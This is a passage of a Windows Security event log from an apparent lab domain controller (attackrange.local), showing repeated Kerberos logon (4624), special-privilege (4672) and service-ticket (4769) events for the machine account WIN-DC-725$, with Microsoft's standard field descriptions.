{516F09E8-915A-EEAE-06B7-D42FEBA6FC38} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:45:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248330 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x81A32 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:45:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248329 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x819BC - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {516F09E8-915A-EEAE-06B7-D42FEBA6FC38} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:45:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248328 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x819BC - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:45:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248327 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x81946 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {516F09E8-915A-EEAE-06B7-D42FEBA6FC38} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:45:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248326 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x81946 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:45:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248325 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x818D0 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {516F09E8-915A-EEAE-06B7-D42FEBA6FC38} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:45:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248324 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x818D0 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:45:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248323 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x8185A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {516F09E8-915A-EEAE-06B7-D42FEBA6FC38} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:45:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248322 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x8185A - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:45:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248321 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x817E4 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {516F09E8-915A-EEAE-06B7-D42FEBA6FC38} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:45:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248320 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x817E4 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:45:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248319 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x81766 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {516F09E8-915A-EEAE-06B7-D42FEBA6FC38} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:45:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248318 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x81766 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:45:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248317 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x816F0 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {516F09E8-915A-EEAE-06B7-D42FEBA6FC38} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:45:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248316 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x816F0 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:45:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248315 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x8167A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {516F09E8-915A-EEAE-06B7-D42FEBA6FC38} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:45:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248314 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x8167A - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:45:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248313 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x81604 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {516F09E8-915A-EEAE-06B7-D42FEBA6FC38} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:45:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248312 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x81604 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:45:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248311 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x8158E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {516F09E8-915A-EEAE-06B7-D42FEBA6FC38} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:45:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248310 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x8158E - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:45:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248309 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x81508 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {516F09E8-915A-EEAE-06B7-D42FEBA6FC38} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 59041 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:45:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248308 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x81508 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:45:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=248307 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: WIN-DC-725$@ATTACKRANGE.LOCAL - Account Domain: 